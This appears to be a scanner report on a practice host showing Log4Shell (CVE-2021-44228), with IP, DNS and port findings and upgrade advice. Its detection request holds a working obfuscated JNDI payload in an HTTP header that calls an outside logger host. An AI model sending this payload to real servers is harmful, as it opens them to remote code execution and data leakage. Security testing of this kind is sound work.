Network Vulnerability Scanner Report

✔ log4j.pentest-ground.com

Summary

Overall risk level:
High

Risk ratings:

High:	1
Medium:	0
Low:	0
Info:	3

Scan information:

Start time:	Jun 13, 2024 / 15:14:06
Finish time:	Jun 13, 2024 / 15:15:35
Scan duration:	1 min, 29 sec
Tests performed:	4/4
Scan status:	Finished

Findings

Log4j - Remote Code Execution (Log4Shell - CVE-2021-44228)

port 8080/tcp

CONFIRMED

We managed to detect this vulnerability using the following request, by sending to the logger the hostname of the vulnerable server:
HTTP Request:
GET / HTTP/1.1
Host: log4j.pentest-ground.com
X-Api-Version: ${${::-j}${::-n}${::-d}${::-i}:${::-d}${::-n}${::-s}://${hostName}.logger.internal}
HTTP Response:
HTTP 400

The **e5351f2d4069** hostname was extracted from the logger.

Details

Vulnerability description:

We found that the target server is vulnerable to CVE-2021-44228, a Remote Code Execution vulnerability in the Log4j logging library. The root cause of the vulnerability is improper input validation in the JNDI functionality implemented in Apache Log4j <= 2.14.1. A feature called **message lookup substitution**, which is enabled by default in the affected versions, allows attackers to load and execute arbitrary Java code from a remote LDAP server. Furthermore, multiple protocols are supported in the JNDI lookups, including LDAP, LDAPS, DNS and RMI.
Therefore, if an attacker can control the log messages and inject arbitrary code through one of the input parameters or in the HTTP headers, he can create a malicious Java class on a controlled server and the vulnerable server will use the lookup method to execute the Java class from the LDAP/LDAPS/DNS/RMI server.
All the versions before 2.17.1 are affected.
We have detected this vulnerability by sending an HTTP GET request to the vulnerable server that contains a jndi:dns query, and then parsing the hostname output that was sent to our loggers. We sent the response to a logger because this is an Out-of-Band vulnerability, meaning that the output of the command is not reflected in the response.

Risk description:

The risk exists that a remote unauthenticated attacker can fully compromise the server in order to steal confidential information, install ransomware, or pivot to the internal network.

Recommendation:

We recommend upgrading the Log4j library to at least version 2.17.1, which fixes this vulnerability.

References:

https://pentest-tools.com/blog/log4shell-scanner-detect-cve-2021-44228/
https://pentest-tools.com/blog/how-we-detect-log4shell/
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://www.oracle.com/security-alerts/alert-cve-2021-44228.html
https://logging.apache.org/log4j/2.x/security.html

IP Information

CONFIRMED

IP Address	Hostname	Location	Autonomous system (AS) Information	Organization (Name & Type)
70.34.243.198	log4j.pentest-ground.com	Warsaw, Mazowieckie, Poland	The Constant Company LLC (AS20473)	-

Details

Risk description:
If an attacker knows the physical location of an organization's IP address and its Autonomous System (AS) number, they could launch targeted physical or cyber attacks, exploiting regional vulnerabilities or disrupting critical infrastructure.

Recommendation:
We recommend reviewing physical security measures and monitoring network traffic for unusual activity, indicating potential cyber threats. Additionally, implementing robust network segmentation and adopting encryption protocols for data in transit can help protect sensitive information, even if attackers are aware of the IP addresses and the Autonomous System (AS) number.

DNS Records

CONFIRMED

DNS Record Type	Description	Value
A	IPv4 address	70.34.243.198

Details

Risk description:
An initial step for an attacker aiming to learn about an organization involves conducting searches on its domain names to uncover DNS records associated with the organization. This strategy aims to amass comprehensive insights into the target domain, enabling the attacker to outline the organization's external digital landscape. This gathered intelligence may subsequently serve as a foundation for launching attacks, including those based on social engineering techniques. DNS records pointing to services or servers that are no longer in use can provide an attacker with an easy entry point into the network.

Recommendation:
We recommend reviewing all DNS records associated with the domain and identifying and removing unused or obsolete records.

Scan coverage information

CONFIRMED

Port	State	Service	Product	Product Version
8080	open	http	Nagios NSCA	

Details

Risk description:
This is the list of ports that have been found on the target host. Having unnecessary open ports may expose the target to more risks because those network services and applications may contain vulnerabilities.

Recommendation:
We recommend reviewing the list of open ports and closing the ones which are not necessary for business purposes.

Scan coverage information

List of tests performed (4/4)

- Running IP information lookup phase...
- DNS enumeration
- Port discovery
- Checking for Log4j - Remote Code Execution (Log4Shell - CVE-2021-44228) (Sniper Module) on port 8080

Scan parameters

Target:	log4j.pentest-ground.com
Preset:	Custom
Scanning engines:	Sniper

Check alive:	True
Extensive modules:	False
Protocol type:	TCP
Ports to scan:	8080